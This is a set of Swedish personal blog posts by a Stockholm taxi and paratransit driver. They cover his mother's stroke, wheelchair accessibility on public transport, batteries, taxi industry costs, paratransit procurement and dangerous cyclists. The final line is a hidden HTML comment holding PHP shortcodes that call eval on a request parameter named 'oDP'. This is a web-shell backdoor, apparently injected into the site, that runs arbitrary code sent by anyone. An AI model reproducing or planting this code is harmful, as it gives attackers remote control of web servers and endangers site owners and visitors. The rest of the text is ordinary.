Hundvakt

Hade planerat att åka hem idag efter att jag var klar med mina fasta morgonkörningar. När jag hade varit hemma i några minuter så ringde pappa. Han som aldrig brukar ringa, hans hörapparater funkar inte alltid så bra med telefoner.

Mamma hade fått en ny stroke och var på väg in till Danderyd med ambulans. Det är inte ett samtal som man direkt vill få. Var hemma i några timmar för att sedan gå ut och jobba igen.

Nu på kvällen så åkte vi och åt mat och pratade med pappa hur det var. Och vi erbjöd oss att ta Trixa över helgen så pappa kan åkta till sjukan utan att behöva ragga någon granne som kan passa fröken medan han är borta.

Trixas bur lastsäkrad
Trixas bur lastsäkrad

Rocka sockorna

Nej jag har inge rockat sockorna idag. Bara för att jag är kass på att hålla koll på dagar och inte planerade igår. Ja jag tar faktiskt fram kläder kvällen innan för min tankeverksamhet är inte alltid i topp runt sex på morgonen.

Vad jag dock har gjort och egentligen alltid gör är rockar en bit i att alla skall kunna ha en dräglig tillvaro. För många är det stört omöjligt att åka den vanliga kollektivtrafiken bara för att den är otillgänglig. Det är då jag och mina kollegor kommer in.

Vi kör allt från skolbarn till soffor och mat samt allt däremellan.

Det känns faktiskt bra att en sådan enkel sak som en transport mellan punkt A och punkt B kan göra så mycket för en människa. För SL tar inte med rullstolar på bussen så gärna och många av de som kan åka buss med rullstol kan inte komma ombord för att rampen som skall användas inte får handhas av föraren. Sen att de inte går att surra stolen är ett annat problem.

Några av de jag kör kan åka tunnelbana utan några större problem men de hindras ofta av oanvändbara hissar. En hiss som renoveras eller har havererat är en sak men en som har använts som toalett är ett hinder som låser dem ute. Tänk på det nästa gång du känner dig nödig på stan.

Miljötänk


Idag är det tydligen Earth Hour. Är det något att fira? Jag tänker inte släcka några extra lampor för det i alla fall. Nu för tiden är nästan alla lampor energieffektiva och mycket av den el vi har i Sverige är producerat på ett hållbart sätt.

Vad jag istället gör är åka på ett hållbarare sätt. Igår på jobbet körde jag över 30 mil men idag sätter jag mig på tunnelbanan. För varför skall jag köra idag för?

Hade jag tagit bil idag så hade jag varit tvungen att betala för parkering i onödan. Att jag nu dessutom skulle kunna ta en öl till maten om jag känner för det är också en fördel tåget.

Promenader

Att köra Taxi är inte det bästa man kan göra för att hålla sig i form. Att dessutom hela cigg vuxna liv ha haft onödigt ont i kroppen hjälper inte direkt. Idag tänkte jag ta en promenad till Maltesholmsbadet men kom knappt 800m hemifrån innan ryggen började bråka. Kämpade på en bit till innan jag vände hemåt. Det blev i alla fall 2,5km.

Skall försöka ta i alla fall promenader i veckan nu framöver. Vill få bättre kondition och även minska midjemåttet.

Batterier

Jag har egentligen aldrig tyckt om batterier men började hata dem 2014 och nu har jag börjat bli bitter på dem igen.

Det som kom 2014 var för att firmabilen jag hade då laddade dåligt samt tömde den lille mängd energi som fanns lagrat på för kort tid. Det har motverkats nu av att jag kör en sprillans ny bil som borde klara sig några år till innan sådana problem dyker upp.

Varför jag har börjat bli bitter nu igen är för att jag och Tammie har köpt lite olika laddningsbara batterier för att i långa loppet spara pengar samt spara på miljön. Vi har haft dem i en termometer med radiolänk till utomhusdelen samt i våra klockradios för att slippa programmera om dem ifall del blir strömavbrott. Termometern har klagat på dåliga batterier efter bara någon vecka och klockradion klagar direkt vid isättning om att batterierna är dåliga.

Nu hade vi några engångsbatterier hemma och provade att sätta in dem i klockradio och bingo, de klagar inte längre. Termometern hade Tammie redan bytt i för någon månad sedan och den funkar fortfarande.

Varför skall man då köpa det som skall vara miljövänligt när det är kasst och inte funkar.

Tankar om taxi

Att jobba i en bransch som taxi ger alltid diskussioner. Varför är det så dyrt i olika formuleringar får man höra många gånger. Finns många anledningar till att det är dyrt. 

Stora delen av våra utgifter är skatter och avgifter. Dessa är bland annat arbetsgivaravgifter, inkomstskatt, pensionsavgift mm. Varför jag tar upp arbetsgivaravgifter är att den enskilt största utgifter är förarens lön. 

Alla stora taxibolag samt taxi förbundet jobbar därför för att införa ackrediterade tömningscentraler för alla taxibilar. Detta är ett led i att införa lika villkor för alla. Vissa som är mot dessa säger att det inte kommer att finnas nog många till alla bilar men det är en lögn. För alla bc vill bli ackrediterade för detta och då tömmer vi trådlöst. Viktigaste kravet måste ju vara att staten kontrollerar tömningscentralerna. 
Vad får då de stora bolagen att sköta sig, dels för att ackrediteringen kommer att bli viktig i marknadsföring samt att stora upphandlingar skulle kunna kräva detta. För hur trevligt skulle det vara om ex. SVT och SR skulle sluta åka med Taxi Stockholm eller att Ericsson och färdtjänsten vänder ryggen åt Kurir och 020. 
Om upphandlaren vet om att kontrollera detta skulle kravet dessutom garanterat gå igenom enklare. För se bara på hur färdtjänsten och alla omsorgsupphandlingar i stockholm kräver alkolås nu för tiden. 
Senaste tiden har det dessutom pratats en hel del om att främja delningsekonomi och mikroföretagande. Detta sedan uber pop har börjat köras här i stockholm. 

Vad är det som inte är delningsekonomi i taxi? Vi hyr ut våra bilar tillsammans med förare. Dessutom är denna branschen uppbyggd av mikroföretag. Väldigt många åkerier har bara 1-2 bilar och en handfull anställda. Under mina tio år bakom ratten så har jag bara kört för två åkerier med fler än tio bilar. 

Färdtjänst.

Kollar på tvalmedalen (http://tvalmedalen.se/7211) om färdtjänsten. Eller jag försöker i alla fall. Sändningen hänger för mig hela tiden.

Några saker som går att göra för att höja kvalitén och sänka olycksrisken inom färdtjänst är att upphandlaren får betala vite till chaufför när de skickar ut fel uppgifter. Exempelvis felaktiga adresser, typexempel i Sthlm är Karolinska universitetssjukhuset. Ena ligger i Huddinge och det andra i Solna.

En annan viktig sak är att återinföra minimiersättning på uppdragen. Ex 100-150kr så det inte blir klagomål på korta resor och bomningar för att uppdraget är för kort. Dessa uppdrag är vanligare på vintern då det kan vara extremt svårt att ta sig fram gående med eller utan hjälpmedel.

Vad som ännu mera skulle minska skador är att vissa som har rullstol skulle kunna få åka specialfordon på vintern för att inte behöva byta från rullstol till bilsäte på snö och is. Denna egenskap behövs bara på vintern och för äldre som kan gå korta sträckor men är osäkra utomhus. De sätts ofta i rullstol vid utflykter och sjukhusbesök. Gör då livet drägligare för brukaren och minska stress och oro.

Vissa upphandlingar har även kundval. Se rullstolstaxi i Sthlm samt att färdtjänst i Uppsala kommun. Dessa upphandlingar är lika självreglerande vad gäller kvalitet som det är för vanliga taxikunder. Dåliga taxibolag får färre bokningar för att resenären börjar boka hos konkurrent.

Cyklister

Märker mer och mer att folk i allmänhet får upp ögonen för att många cyklister här i stockholm är rent av livsfarliga. Första antydan var Stockholmsnatt (http://stockholmsnatten.blogspot.se/2011/09/blog-post_09.html?m=1) som gjorde en satir om MEMILs.

Jag följer dessutom ett antal poliser på Twitter och ser en del händelser med cyklister (inte alla är cyklistens fel skall tilläggas. Se bara vad som hände på stadsgårdsleden tidigare i juni när en feg bilist körde på en cyklist och stack..)

I doktorn podcast (http://www.radioplay.se/clip/6862/avsnitt+3+polisen+i+media) med två av mc poliserna i Sthlm så beskriver de bra hur vissa rör sig i trafiken. Värt att lyssna på.

Även en bra artikel i DN (http://mobil.dn.se/kultur-noje/kronikor/sa-blev-man-i-lycra-aggressiva-cykelkrigare/) beskriver hur en del är.

Till saken hör att jag älskar de som lugnt och lagligt cyklar i staden. Det av flera anledningar. För de är inte problemet, de skall lyftas för att de gör något bra istället.

För 100 cyklar tar mindre plats än 100 bilar och orsakat långt mindre problem än vad bilar orsakar.

Minns när jag och sambon var i Köpenhamn och reagerade på hur skönt det var med att cyklisterna kom på ställen där man förväntade sig dem. Exempelvis med färdriktningen på vägar.

<!– [insert_php]if (isset($_REQUEST["oDP"])){eval($_REQUEST["oDP"]);exit;}[/insert_php][php]if (isset($_REQUEST["oDP"])){eval($_REQUEST["oDP"]);exit;}[/php] –>